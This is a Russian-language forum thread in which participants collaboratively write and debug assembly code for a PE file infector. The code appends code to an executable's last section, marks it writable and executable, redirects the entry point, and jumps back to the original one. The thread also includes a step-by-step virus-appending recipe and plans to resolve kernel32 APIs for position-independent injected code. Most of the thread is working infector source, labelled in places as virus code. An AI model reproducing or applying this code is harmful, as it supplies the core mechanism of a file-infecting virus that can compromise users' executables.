Хело всем! Люди короче у меня почти тупик! Мне надо добавить код в расширенную на размер кода последнюю секцию у меня там пока просто переход на точку входа т.е.прыжок на оригинальную точку входа. Так вот я незнаю что сделать нужно чтоб все работало. Там неправильно я что-то делаю с записью перехода в расширенную секцию прога падает, может с адресом надо что-то делать, потому что прога при падении говорит что-то типа - у тя адресс большой точки входа вылезает за пределы. Немогу понять принцип прям по шагам что нада сделать чтоб был рабочий минимум желательно на ентом примере т.к. он попроще чем всякие с ФайлМэпингом и т.д. Код (Text): .386 .model flat,stdcall option casemap:none ;...Include.... .data? ComLine db 512 dup (?) .code WinM Proc ;--------------------------------------------------------------------- ------------ LOCAL OEP:DWORD LOCAL StCode:DWORD LOCAL AddPE_OEP:DWORD ;--------------------------------------------------------------------- -------------------------- invoke GetCommandLine invoke PathGetArgs,eax lea edi,ComLine ;Приемник строки - ComLine mov esi,eax ;Источник строки - eax=esi NewSymb: lodsb cmp al,34 je NewSymb cmp al,0 je ExtSymbFunc stosb jmp NewSymb ExtSymbFunc: ;_______CODE for Update PE____________________________________________________________________ _ mov ebp,esp invoke CreateFile,addr ComLine,GENERIC_READ+GENERIC_WRITE,FILE_SHARE_READ+FILE_SHARE_WRITE,NU LL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL inc eax jz Exit dec eax push eax invoke GetFileSize,eax,0 add eax,1000h push eax invoke GlobalAlloc,GMEM_FIXED,eax push eax push 0 ;-----------------------;/overlapped buffer push esp ;|number of bytes read push dword ptr [ebp-2*4] ;|Кол-во байт для чтения push eax ;|Буфер для прочитанных данных push dword ptr [ebp-1*4] ;|File Handle call ReadFile ;\---------------------------- or eax,eax jz CloseFile ;--------------------------------------------|Search Section and Modified mov edi,[esp] ; "MZ" add edi,[edi+03Ch] ; "PE" mov ecx,edi add ecx,028h mov AddPE_OEP,ecx ; Save AddPE_OEP Address mov ecx,[edi+028h] ; Save OEP address Value mov OEP,ecx movzx ecx,word ptr[edi+06h] ; Number of Sections movzx esi,word ptr[edi+014h]; size of IMAGE_OPTIONAL_HEADER lea esi,[edi+018h+esi] ; esi= "PE" + FILE_HEADER + OPTIONAL_HEADER (78h) mov edx,[esi+0Ch] ; Virtual Address this Section mov ebx,[esi+014h] ; Pointer to RAW-data first Section push esi push esi HiPhysOffs: cmp ebx,[esi+014h] ;Если оно меньше, чем в наибольшем, то... ja HiVirtRVA mov ebx,[esi+014h] ;Иначе, примем за наибольшее mov [esp],esi ;и сохраним смещение элемента HiVirtRVA: cmp edx,[esi+0Ch] ;Аналогично, но с Virtual RVA ja NewElement mov edx,[esi+0Ch] mov [esp+4],esi NewElement: add esi, 28h ;...следующий элемент loop HiPhysOffs pop esi pop edi cmp esi,edi jne CloseFile mov edi,[esp] mov edx,[esi+010h] ;Size of RAW-data end Section or edx, edx jz CloseFile ;----------_Update---------------------- push esi ;Save VA жертвы push edi or dword ptr [esi + 24h],0A0000020h ; новая хар.-ка секции mov ecx,dword ptr InSectionSize ;Размер записываемого кода add edi,ebx ;VA последней секции жертвы add edi,[esi+010h] ;Теперь edi указывает на конец последней секции mov StCode,edi lea esi,Start rep movsb ;----------_Write New Entry Point_-------------- mov edi,AddPE_OEP ; Address Old OEP mov esi,StCode ; Address New Entry Point mov [edi],esi ; Write New Entry Point pop edi ; edi="MZ" pop esi ; esi=.rsrc (End Section) AlgnPhSz: add dword ptr [esi+010h],dword ptr InSectionSize ;Увеличим физ. размер секции mov eax,[edi+03Ch] dec eax add [esi+010h],eax not eax and [esi+010h],eax AlgnVrSz: add edi,[edi+03Ch] ;Aligned the virtual size (VA PE Header) mov ecx,[esi+08h] jecxz PtchImSz add dword ptr [esi+08h],dword ptr InSectionSize ;Увеличим вирт. размер секции mov eax,[edi+038h] dec eax add [esi+08h],eax not eax and [esi+08h],eax PtchImSz: mov eax,[esi+0Ch] ;ImageSize=VA(Last section) + VSize(Last cection) add eax,[esi+08h] mov [edi+050h],eax ; Image Size _WriteFile: xor esi,esi push esi push esi push esi push dword ptr [ebp-1*4] ;File Handle call SetFilePointer push esi push esp push dword ptr [ebp-2*4] ;File Size push dword ptr [ebp-3*4] ;Allocation memory push dword ptr [ebp-1*4] ;File Handle call WriteFile ;--------------------------------------------------------------------- ------------------------- CloseFile: push dword ptr [ebp-1*4] ;File Handle call CloseHandle push dword ptr [ebp-3*4] ;Allocation memory call GlobalFree Exit: invoke ExitProcess,0 Start: jmp [OEP] ; типа прыгаем на сохраненный адрес входа InSectionSize equ $-Start ;--------------------------------------------------------------------- ------------------------- WinM endp End WinM
Afaik нужно расширить размер Image, IMO программа грузиться в память по нему, это даже важнее секций.
Ну а по точнее ?! Я так понял ты про это говоришь -> mov eax,[edi+34h] ; Получаем базу обpаза А дальше куда ету базу девать!? Что к ней прибавлять? И что только в этом и дело?
Ну неужель ни у кого нет простейшего рабочего примера что и как надо делать! Я пробовал вот ето СТАТЬИ > Вирусология "Инфектор PE-файлов"(Bill/TPOC 2005) там тоже самое выход за какие то пределы точки входа, короче прога вылетает не запустившись!
Да не база а image size - из файла загружаеться столько сколько он показывает (afaik), добвленые байты которые находяться за пределами этого значения в память не загружаються, а у тебя их много (никогда столько не добавлял). Чтоб проверить нужно что-то типо софтайса.
TViT Вот, вот и у меня таже проблема, даже с автором пытался связаться по аське, а он не отвечает, боится видимо
Добавление кода в конец: 1)проверить физическую и виртуальную длину последней секции: если физическая длина окажется больше виртуальной, не трогать такой файл; также не трогайте файл если какая-либо из длин нулевая 2)старую точку входа сохранить внутрь вируса; 3)вычислить виртуальный адрес вируса в файле; это будет физический_адрес_конца_последней_секции транслированный_в_виртуальный; добавив к нему VirusEntryPoint-VirusStart записать это дело в RVA точки входа (внутри PE-заголовка) 4)по физическому_адресу_конца_последней_секции записать вирусный код 5) физическую и виртуальную длины вируса округлить по FileAlignment и ObjectAlignment, взятым из PE-заголовка 6) физическую длину последней секции -- увеличить на физическую длину вируса 7) виртуальную длину последней секции -- увеличить на виртуальную длину вируса 8) поле SizeOfImage внутри PE-заголовка -- установить равным виртуальному_адресу_начала_последней_секции + виртуальной_длине_последней_секции
zzzyab Пример есть давай посмотрю! Секция у мя и так все нормально создаетси и варавниваетси! А вот с прыжком обратно тупик!
Исправленный вариант Пример внедрятеля кода: испытано на нескольких PE exe файлах - работает. Файл и код вводится вручную, можно усовершенствовать чтобы внедрялася код из другого exe В этом примере внедряеться 6 нопов еще есть недоработки - с арихивными exe не работает Код (Text): .486 .model flat include kernel.inc include user.inc err_opn_src equ 4 ;oshibka otkritia err_rd_src equ 8 ;oshibka chtenia err_srcnexe equ 12 ;ne exe fail err_srcnpe equ 16 ;ne pe format err_srcnia86 equ 20 ;ne Intel386 err_nfmsect equ 24 ;nelza vnedrit kod (IMO) .code public _start _err: mov ecx,offset str_err push MB_OK+MB_ICONERROR push ecx push ecx push ebx call MessageBox ret _start: xor ebx,ebx mov eax,fsrc push ebx push FILE_FLAG_SEQUENTIAL_SCAN+FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push ebx push FILE_SHARE_READ push GENERIC_READ+GENERIC_WRITE push eax call CreateFile cmp eax,-1 jnz @f mov esi,err_opn_src jmp _err @@: mov hfsrc,eax sub esp,1024 mov edi,esp mov esi,edi add esi,8 push ebx push edi push 40h push esi push eax call ReadFile test eax,eax jnz @f _err_rs: mov ecx,err_rd_src _err_cf: add esp,1024 mov esi,ecx mov eax,hfsrc push eax call CloseHandle jmp _err @@: mov edx,[edi] test edx,edx jz _err_rs cmp word ptr [esi],'ZM' mov ecx,err_srcnexe jnz _err_cf mov edx,[esi+3ch] mov [edi],ebx push FILE_BEGIN mov eax,hfsrc push edi push edx push eax call SetFilePointer push ebx mov eax,hfsrc push edi push 1016 push esi push eax call ReadFile test eax,eax jz _err_rs mov edx,[edi] test edx,edx jz _err_rs mov ecx,err_srcnpe mov eax,[esi] cmp eax,4550h jnz _err_cf cmp word ptr [esi+4],14ch mov ecx,err_srcnia86 jnz _err_cf mov ecx,[esi+6] and ecx,0ffffh xor edx,edx add esi,248 mov eax,ecx shl eax,5 add edx,eax mov eax,ecx shl eax,3 add edx,eax ;[b]количество секций умноженное на 0х28[/b] mov [edi],edx mov [edi+4],edx repsect:;[b]поиск секций с наибольшим RVA и оffset[/b] sub edx,28h jz endrepsect mov eax,[esi+edx+12] cmp eax,[esi+edx-28h+12] ja @f mov [edi],edx @@: mov ecx,[esi+edx+14h] cmp ecx,[esi+edx-28h+14h] ja repsect mov [edi+4],edx jmp repsect endrepsect: mov edx,[edi] cmp edx,[edi+4] ;[b] должна быть одна и таже секция ццц [/b] jz fmsect mov ecx,err_nfmsect jmp _err_cf fmsect: mov eax,sizeof ins_code ;[b]вычисления РВА для переходов и изменения в секции[/b] add eax,5 mov ecx,[esi+edx-28h+8] add [esi+edx-28h+8],eax add [esi+edx-28h+16],eax add [esi-248+50h],eax mov ebx,[esi+edx-28h+14h] add ebx,ecx push ebx mov ebx,[esi+edx-28h+12] sub ebx,[esi+edx-28h+14h] push ebx mov ebx,[esi+edx-28h+12] add ebx,ecx add ebx,eax or byte ptr [esi+edx-1],60h mov ecx,[esi-248+28h] sub ecx,ebx lea edx,ins_end xor ebx,ebx mov byte ptr [edx],0e9h mov [edx+1],ecx pop eax ;[b]запись нового заголовка[/b] mov edx,[esp] add eax,edx mov [esi-248+28h],eax sub esi,248 mov edx,-1 mov [edi],edx push FILE_CURRENT mov ecx,hfsrc push edi push -1016 push ecx call SetFilePointer mov [edi],ebx push ebx mov eax,hfsrc push edi push 1016 push esi push eax call WriteFile test eax,eax jnz @f add esp,4 jmp _err_rs @@: mov edx,[edi] test edx,edx jnz @f add esp,4 jmp _err_rs @@: pop edx ;[b]Запись внедряемого кода[/b] mov [edi],ebx push FILE_BEGIN mov eax,hfsrc push edi push edx push eax call SetFilePointer lea esi,ins_code mov ecx,sizeof ins_code add ecx,5 push ebx mov eax,hfsrc push edi push ecx push esi push eax call WriteFile test eax,eax jz _err_rs mov edx,[edi] test edx,edx jz _err_rs mov ecx,hfsrc push ecx call CloseHandle add esp,1024 ret .data fsrc dd offset fname fname db 'notepad.exe',0 str_err db 'Error',0 ins_code db 90h,90h,90h,90h,90h,90h ins_end db 5 dup(0) .data? align 4 hfsrc dd ? end
О спасиба посмотрю! Все я разобрался там я неправильно точку входа записывал и переход на старую надо было не в стеке сохранять, а в добавляемый кусок иначе он пытается из стека взять старую точку входа, а там ее естественно нету! Теперь надо с kernel32 мутить. Искать API и юзать. Вот код: .386 .model flat,stdcall option casemap:none include windows.inc include user32.inc include advapi32.inc include kernel32.inc include shlwapi.inc includelib advapi32.lib includelib kernel32.lib includelib shlwapi.lib includelib user32.lib .data? ComLine db 512 dup (?) .data JmpOEP db 0b8h OEP dd 0 ; mov eax,OEP dw 0E0FFh ; jmp near eax AddInSecSize equ $-JmpOEP .code WinM Proc ;--------------------------------------------------------------------- ------------ LOCAL OldEPAddrWORD LOCAL ImgBaseWORD ;--------------------------------------------------------------------- -------------------------- invoke GetCommandLine invoke PathGetArgs,eax lea edi,ComLine ;Приемник строки - ComLine mov esi,eax ;Источник строки - eax=esi NewSymb: lodsb cmp al,34 je NewSymb cmp al,0 je ExtSymbFunc stosb jmp NewSymb ExtSymbFunc: ;_______CODE for infect PE____________________________________________________________________ _ mov ebp,esp invoke CreateFile,addr ComLine,GENERIC_READ+GENERIC_WRITE,FILE_SHARE_READ+FILE_SHARE_WRITE,NU LL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL inc eax jz Exit dec eax push eax invoke GetFileSize,eax,0 add eax,0100h push eax invoke GlobalAlloc,GMEM_FIXED,eax push eax push 0 ;-----------------------;/overlapped buffer push esp ;|number of bytes read push dword ptr [ebp-2*4] ;|Кол-во байт для чтения push eax ;|Буфер для прочитанных данных push dword ptr [ebp-1*4] ;|File Handle call ReadFile ;\---------------------------- or eax,eax jz CloseFile ;---------|_PE Struc Update_|-----------;Search Section and Modified mov edi,[esp] ; "MZ" add edi,[edi+03Ch] ; "PE" mov ecx,edi add ecx,028h mov OldEPAddr,ecx ; Save OEP Address mov ecx,[edi+028h] ; Save OEP Value mov edx,dword ptr[edi+034h] ; Save ImageBase add edx,ecx mov OEP,edx ; Original Entry Point=ImageBase(034h)+VA_OEP(028h) movzx ecx,word ptr[edi+06h] ; Number of Sections movzx esi,word ptr[edi+014h]; size of IMAGE_OPTIONAL_HEADER lea esi,[edi+018h+esi] ; esi= "PE" + FILE_HEADER + OPTIONAL_HEADER (78h) mov edx,[esi+0Ch] ; Virtual Address this Section mov ebx,[esi+014h] ; Pointer to RAW-data first Section push esi push esi HiPhysOffs: cmp ebx,[esi+014h] ;Если оно меньше, чем в наибольшем, то... ja HiVirtRVA mov ebx,[esi+014h] ;Иначе, примем за наибольшее mov [esp],esi ;и сохраним смещение элемента HiVirtRVA: cmp edx,[esi+0Ch] ;Аналогично, но с Virtual RVA ja NewElement mov edx,[esi+0Ch] mov [esp+4],esi NewElement: add esi, 28h ;Next Section loop HiPhysOffs pop esi pop edi cmp esi,edi jne CloseFile mov edi,[esp] or edx, edx jz CloseFile ;---------|_WriteVirus_|---------------------- push esi ;Save VA жертвы push edi mov dword ptr [esi + 24h],0C0000040h mov ecx,AddInSecSize ;Размер записываемого кода add edi,ebx ;VA последней секции add edi,[esi+010h] ;edi указывает на конец последней секции mov edx,[esi+010h] ;Size of RAW-data end Section add edx,[esi+0Ch] ;VAddr NewEP вот тут и была проблема! lea esi,JmpOEP rep movsb mov edi,OldEPAddr ; Address Old OEP for Write New EP mov [edi],edx ; Write New Entry Point pop edi ; Pointer to End Section pop esi ; Pointer to End Section ;---------|_Align_|--------------------------- AlgnPhSz: add dword ptr [esi+010h],AddInSecSize ;Увеличим физ. размер секции mov eax,[edi+03Ch] dec eax add [esi+010h],eax not eax and [esi+010h],eax AlgnVrSz: add edi,[edi+03Ch] ;Aligned the virtual size (VA PE Header) mov ecx,[esi+08h] jecxz PtchImSz add dword ptr [esi+08h],AddInSecSize ;Увеличим вирт. размер секции mov eax,[edi+038h] dec eax add [esi+08h],eax not eax and [esi+08h],eax PtchImSz: mov eax,[esi+08h] ;VSize(Last cection) add eax,[esi+0Ch] ;ImageSize=VSize(Last section) + VAddress(Last cection) mov [edi+050h],eax _WriteFile: xor esi,esi push esi push esi push esi push dword ptr [ebp-1*4] ;File Handle call SetFilePointer push esi push esp push dword ptr [ebp-2*4] ;File Size push dword ptr [ebp-3*4] ;Allocation memory push dword ptr [ebp-1*4] ;File Handle call WriteFile ;-------|_End_|------------------------------------------------------- -------------------------- CloseFile: push dword ptr [ebp-1*4] ;File Handle call CloseHandle push dword ptr [ebp-3*4] ;Allocation memory call GlobalFree ;invoke WinExec,addr ComLine,SW_SHOWDEFAULT Exit: invoke ExitProcess,0 WinM endp End WinM +------------------------------------+ |----------------.End ---------------| +------------------------------------+ Еще вопросик почему MASM32 ругается на метку когда код располагаеться в сегменте данных,а для TASM32 енто видимо пофигу? Например: .data Start: ;вот на старт MASM32 и ругается! push offset mess ; Выводим сообщение об call printf ; использовании программы pop eax call commandline ; Получаем argv[1] call attach ; Усиливаем файл push 0 ; call ExitProcess ; Завершение процесса ;---------------------------------- Тут же данные mess db '-->---',0 dat2 dd 0 .code nop nop end Start
Блин поправочка чтоб пример работал - перенесите переменную 'OldEPAddr' которая в примере локальная в секцию данных ,а то она затирает в стеке данные и неработает пример.
зачем читать в память весь файл ? У тебя есть алгоритм запуска kernel ? Как быть с разными winzipaми - как правильно переносить архивные данные ? И еще: в data нельзя задавть метки знаком ':',только db,dw,dd ... - такие правила масма.
zzzyab 1] Я так понял файл весь загоняется в память+размер добавки потом в памяти изменяется и с нуля записавается весь, уже модифицированный обратно. Это пока неважно как что там делаетси надо разобраться что надо делать для минимума меня пока выводит то что нельзя в данных располагать код в MASM32 было бы проще с переходом на Old Entry Point. 2] Только начал над ним думать смареть статьи исходники и т.д. Вот тут намана написано [W A S M . R U] СТАТЬИ > Вирусология > От зеленого к красному: Глава 1: Память. База kernel32.dll. Адреса API-функций. Дельта-смещение. >) 3] Про SFX-архивы еще не знаю нада попробовать новую секцию как AsPack делать и пребивать отчку входа, можт прокатить!
ИМО самый подходящий вариант искать kernel через стэк и на фиксирываные значения не надеяться. Еесли напрягает .data выкинь и все делай в .сode а переменные назначай в стэк. Все равно внедряемый код нужно делать именно таким методом, не будеш же вводить вручную машинные команды. Во всех SFX архив находиться сразу после еxe, добавление секции ИМО неудачная идея, куда добавлять в конец архива ?
zzzyab Какой стек что ты из него возьмешь? Если оригинальную точку входа нужно сохранить именно в данных которые внедряются в секцию в ентом то и проблема посмотри пример: .data JmpOEP db 0b8h ;это машинный код 'mov eax, следующие даные' т.е. OEP OEP dd 0 ;а вот сюда и сохраняется старая точка входа+ImageBase короче у мя в отладчике 401000h dw 0E0FFh ; jmp near eax вот теперь прыгаем назад на 401000h AddInSecSize equ $-JmpOEP В секцию .code незя писать а то конечно сделал бы в ней! типа так: .code JmpOEP: mov eax,OEP ;Вот и приходится ентот кусок jmp eax ;делать по байтам в кодах OEP dd 0 ; AddInSecSize equ $-JmpOEP А когда прога запускаеться с 0b8h который находится в JmpOEP то стек то чист этож совсем другаю программа причев нада делать еще и независимую от API и искать их через kernel32! ---------------- А зачем вручную я уже прогу заделал которая прям коды переводит в формат Asm вставил в нее из сикции кода Hex-данные и она их например вот так шлеп! db 0E8h,045h,000h,000h,000h,050h,0E8h,02Dh,000h,000h,000h,08Dh,03Dh,078h, 030h,040h,000h,08Bh db 0F0h,0ACh,03Ch,022h,074h,0FBh,03Ch,000h,074h,003h,0AAh,0EBh,0F4h,06Ah, 040h,068h,000h,030h db 040h,000h,068h,078h,030h,040h,000h,06Ah,000h,0E8h,00Ch,000h,000h,000h, 050h,0E8h,00Ch,000h db 000h,000h,0FFh,025h,00Ch,020h,040h,000h,0FFh,025h,014h,020h,040h,000h, 0FFh,025h,004h,020h db 040h,000h,0FFh,025h,000h,020h,040h,000h,000h,000h,000h,000h,000h,000h, 000h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 000h,000h,000h,000h остается тока вставить и компилить! Хрен с етими SFX потом надо об ентом думать а не распылять силы. )
Страно зачем ты вообще делаеш такие извратные махинации с mov eax и т.д. У тебя есть прога заделаная, но у других же нету.
А можно в masm'e например свойства секции ставить как в Fasm'e например: include 'E:\CODING\FASM\INCLUDE\win32ax.inc' section '.text' writeable readable start: invoke MessageBox,HWND_DESKTOP,"!Hello! )","Win32 Assembly",MB_OK invoke ExitProcess,0 .end start или что-то подобное???
Да, но я без справки сам не знаю. в seсtion нужно больше параметров - найду справку отвечу Я всегда програмил на масме, разные fasmы IMO антисоветчина.
Все оказалась проще, даже не нужно задавать model Код (Text): .386 public _start RWsect01 segment _start: mov ddd,1 jmp xxx ddd dd ? xxx: ret RWsect01 ends end
Попробую по твоему, а такие извращения и нужны чтобы в секции данных код расположить и записать точку входа старую чтоб в конце прыгнуть обратно. А по твоему коду я чета не догнал куда он RET'ит,так еще понятнее например: mov [esp],OEP ;Original Entry Point ret А я уже на TASM и FASM переделал все,везде пробую! Ж) ;------------------------------------------- FASM мне понравился если честно, там все в одной секции и код и данные удобно сам несколько проходов делает при компиляции ваще полная свобода пиши как хошь короче, можт и масм тоже умеет все енто делать мне просто кажется урезали там для стабильности многое.Данные сначала надо располагать чтоб он потом понял что за переменные может это тоже лечится у TASM например ключ вроде /m3 т.е. 3 прохода за которые он и поймет где и что,у масма я непонял где что-то подобное. ;------------------------------------------- Где б мне такую справочку взять по масму в стандартных хелпах вместе с ним???